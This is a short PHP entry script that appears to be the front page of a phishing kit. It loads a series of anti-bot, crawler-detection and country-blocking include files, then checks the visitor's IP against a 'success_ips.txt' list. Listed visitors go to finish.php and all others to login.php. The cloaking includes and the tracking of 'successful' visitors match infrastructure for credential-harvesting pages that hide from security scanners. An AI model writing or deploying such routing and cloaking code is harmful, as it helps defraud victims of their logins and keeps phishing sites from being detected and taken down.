<?php

include 'blocker.php';
include "prevents/antibot/crawlerdetect.php"; 
include "countryBlock.php"; 
include "prevent/anti1.php";
include "prevent/anti2.php";
include "prevent/anti3.php";
include "prevent/anti4.php";
include "prevent/anti5.php";
include "prevent/anti6.php";
include "prevent/anti7.php";
include "prevent/anti8.php";
include "prevent/all.php";
include "prevent/911.php";

$successFile = 'success_ips.txt';
$userIp = $_SERVER['REMOTE_ADDR'];

// Create the file if it doesn't exist
if (!file_exists($successFile)) {
    file_put_contents($successFile, '');
}

// Read the IPs in the success_ips.txt file
$ips = file($successFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

// Safety check in case file reading failed
if (!is_array($ips)) {
    $ips = [];
}

// Check if the user's IP is in the list of success IPs
if (in_array($userIp, $ips)) {
    // Redirect to finish.php if the user's IP is already in the list
    header('Location: finish.php');
    exit;  // Ensure the script stops executing after the redirect
}
 header('Location: login.php');
?>
